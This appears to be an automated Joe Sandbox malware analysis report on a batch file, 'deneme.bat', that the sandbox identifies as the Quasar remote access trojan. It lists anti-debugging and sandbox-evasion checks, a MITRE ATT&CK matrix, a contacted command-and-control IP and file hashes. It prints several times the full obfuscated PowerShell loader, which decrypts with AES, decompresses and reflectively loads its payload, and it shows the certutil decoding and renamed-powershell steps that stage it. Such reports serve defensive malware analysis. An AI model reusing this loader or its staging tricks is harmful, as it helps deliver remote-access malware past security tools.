Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Renames powershell.exe to bypass HIPS

Source: C:\Windows\System32\cmd.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\cmd.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe TID: 3320

Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Window / User API: threadDelayed 9093

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Thread delayed: delay time: 922337203685477

Source: deneme.bat	Binary or memory string: TnJOMEMzU29pQnNGcDI3KzNpbjJTQzU1T2xqSFBsOXFjazMvc21tWmtlZXJPRlFs
Source: allah.bat.exe, 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: allah.bat.exe, 00000004.00000002.684807459.0000020E69C2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: deneme.bat	Binary or memory string: c0xsTHFKTGhqemU5NWhvb1ZYMXlKdXBxZDllWXdCcmNqNmp3T2J1dlVSZzhjZzIv
Source: deneme.bat	Binary or memory string: TXorajdZTlRaeWpSNURaeTRBZTlCRXg1ZjM4RkRPN0hrQkxjQTk1YVRkVmNETkxZ

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Code function: 4_2_00007FFBAC11AA8A CheckRemoteDebuggerPresent,

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Memory allocated: page read and write | page guard

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\allah.bat.exe "allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lilxn = [system.io.file]::('txetlladaer'[-1..-11] -join '')('c:\users\user\appdata\local\temp\allah.bat').split([environment]::newline);foreach ($vohpq in $lilxn) { if ($vohpq.startswith(':: ')) { $ohwzk = $vohpq.substring(3); break; }; };$pphgd = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')($ohwzk);$ygmef = new-object system.security.cryptography.aesmanaged;$ygmef.mode = [system.security.cryptography.ciphermode]::cbc;$ygmef.padding = [system.security.cryptography.paddingmode]::pkcs7;$ygmef.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('6pnvywetf4chawo/pebnarz3xrlewmbpf3oumgmdvww=');$ygmef.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('lxqslbfdvl0gyevxt5ivjg==');$blbua = $ygmef.createdecryptor();$pphgd = $blbua.transformfinalblock($pphgd, 0, $pphgd.length);$blbua.dispose();$ygmef.dispose();$mkymi = new-object system.io.memorystream(, $pphgd);$wtlbu = new-object system.io.memorystream;$jexhz = new-object system.io.compression.gzipstream($mkymi, [io.compression.compressionmode]::decompress);$jexhz.copyto($wtlbu);$jexhz.dispose();$mkymi.dispose();$wtlbu.dispose();$pphgd = $wtlbu.toarray();$wewpp = [system.reflection.assembly]::('daol'[-1..-4] -join '')($pphgd);$bdlvj = $wewpp.entrypoint;$bdlvj.invoke($null, (, [string[]] ('')))
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\allah.bat.exe "allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lilxn = [system.io.file]::('txetlladaer'[-1..-11] -join '')('c:\users\user\appdata\local\temp\allah.bat').split([environment]::newline);foreach ($vohpq in $lilxn) { if ($vohpq.startswith(':: ')) { $ohwzk = $vohpq.substring(3); break; }; };$pphgd = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')($ohwzk);$ygmef = new-object system.security.cryptography.aesmanaged;$ygmef.mode = [system.security.cryptography.ciphermode]::cbc;$ygmef.padding = [system.security.cryptography.paddingmode]::pkcs7;$ygmef.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('6pnvywetf4chawo/pebnarz3xrlewmbpf3oumgmdvww=');$ygmef.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('lxqslbfdvl0gyevxt5ivjg==');$blbua = $ygmef.createdecryptor();$pphgd = $blbua.transformfinalblock($pphgd, 0, $pphgd.length);$blbua.dispose();$ygmef.dispose();$mkymi = new-object system.io.memorystream(, $pphgd);$wtlbu = new-object system.io.memorystream;$jexhz = new-object system.io.compression.gzipstream($mkymi, [io.compression.compressionmode]::decompress);$jexhz.copyto($wtlbu);$jexhz.dispose();$mkymi.dispose();$wtlbu.dispose();$pphgd = $wtlbu.toarray();$wewpp = [system.reflection.assembly]::('daol'[-1..-4] -join '')($pphgd);$bdlvj = $wewpp.entrypoint;$bdlvj.invoke($null, (, [string[]] ('')))

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com Mode 60,3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\certutil.exe CERTUTIL -f -decode "C:\Users\user\Desktop\deneme.bat" "C:\Users\user\AppData\Local\Temp\allah.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\allah.bat.exe "allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lILxN = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\allah.bat').Split([Environment]::NewLine);foreach ($vOhpq in $lILxN) { if ($vOhpq.StartsWith(':: ')) { $OHwZk = $vOhpq.Substring(3); break; }; };$PPhGD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OHwZk);$YGMef = New-Object System.Security.Cryptography.AesManaged;$YGMef.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YGMef.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YGMef.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6pNVYWetf4chAWo/pEbNaRZ3xRLeWmBPF3OumGmDVww=');$YGMef.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxQsLBFdvl0gyeVxt5ivJg==');$blbua = $YGMef.CreateDecryptor();$PPhGD = $blbua.TransformFinalBlock($PPhGD, 0, $PPhGD.Length);$blbua.Dispose();$YGMef.Dispose();$MkYmI = New-Object System.IO.MemoryStream(, $PPhGD);$wtLBU = New-Object System.IO.MemoryStream;$JeXHz = New-Object System.IO.Compression.GZipStream($MkYmI, [IO.Compression.CompressionMode]::Decompress);$JeXHz.CopyTo($wtLBU);$JeXHz.Dispose();$MkYmI.Dispose();$wtLBU.Dispose();$PPhGD = $wtLBU.ToArray();$weWpP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($PPhGD);$BDLvJ = $weWpP.EntryPoint;$BDLvJ.Invoke($null, (, [string[]] ('')))

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\allah.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Quasar RAT

Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: allah.bat.exe PID: 6956, type: MEMORYSTR

Remote Access Functionality

Yara detected Quasar RAT

Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: allah.bat.exe PID: 6956, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scripting	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Scripting	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Hidden Files and Directories	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
deneme.bat	8%	ReversingLabs	Text.Malware.Generic
deneme.bat	17%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\allah.bat	100%	Avira	TR/Dldr.Malnote.U
C:\Users\user\AppData\Local\Temp\allah.bat.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\allah.bat.exe	0%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
74.234.104.236	0%	Avira URL Cloud	safe
https://ipwho.is/	0%	Virustotal		Browse
https://go.microsoft.cot	0%	Avira URL Cloud	safe
https://ipwho.is/	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
74.234.104.236	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.633628598.0000020E518B2000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	allah.bat.exe, 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	allah.bat.exe, 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	allah.bat.exe, 00000004.00000002.633628598.0000020E520F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	allah.bat.exe, 00000004.00000002.647921815.0000020E60D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://ipwho.is/	allah.bat.exe, 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, allah.bat.exe, 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	allah.bat.exe, 00000004.00000002.633628598.0000020E50D01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	allah.bat.exe, 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.microsoft.cot	allah.bat.exe, 00000004.00000002.677997205.0000020E68E86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
74.234.104.236	unknown	United States		7018	ATT-INTERNET4US	true

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	876996
Start date and time:	2023-05-28 09:33:54 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 45s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	deneme.bat
Detection:	MAL
Classification:	mal100.troj.evad.winBAT@8/6@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 97% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:34:54	API Interceptor	43x Sleep call for process: allah.bat.exe modified

Process:	C:\Users\user\AppData\Local\Temp\allah.bat.exe
File Type:	data
Category:	modified
Size (bytes):	9432
Entropy (8bit):	4.918232018284106
Encrypted:	false
SSDEEP:	192:Nxoe5FpOMxoe5Pib4GVsm5emdygkjDt4iWN3yBGHh9smidcU6CGdcU6CS9smDpOh:bfib4Glkjh4iUxs14fib41
MD5:	F6775EDC5EE3B8EEDBF8310BD48C709D
SHA1:	51DBC51183BFBFE57F24E9AD63840E60D2E64842
SHA-256:	B5D6E4B1EF4F3E734E47F87E8226814AE7D574F4E458CCE4E21D637588F45B28
SHA-512:	EDCED69415369C7EBA17D72EC1691FE44F5C5DCF7565EAE1A22112E631FFBBCE72B830BBF0D91E70484BC7F0E4D59870777B07E86126438E78E15A7337D97BD6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lws4mod0.ycy.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\allah.bat.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwf14wkq.feb.psm1

Download File

Process:	C:\Users\user\AppData\Local\Temp\allah.bat.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\allah.bat

Download File

Process:	C:\Windows\System32\certutil.exe
File Type:	DOS batch file, ASCII text, with very long lines (59710), with CRLF line terminators
Category:	dropped
Size (bytes):	1656310
Entropy (8bit):	6.015691015837739
Encrypted:	false
SSDEEP:	24576:2XSg2xeZeRalJecyKKAkS7Nr2C5Uz7yYmdAC8cywn+H8b/7KdxinkWrrMt:QSFQlC+92kKMh+yQRr
MD5:	EAE03E33CC6A6DA5B23F9508133E453C
SHA1:	1BEF2A1688C72A0A29B6CA6D378D57BB718DBBB7
SHA-256:	5642778FEF03F7E81A81BB97A3C33D0B569479C65B556EB1CDAE50108BBC8A14
SHA-512:	95A20A2A89D5910B0FABBCC0B96FCDFCC34BA226D076E17F65DBF7AED0C7FB1DBE7819FE1EEE3265ED1988F1075F614701B2195E65ABA9575D8E810DC29302D1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
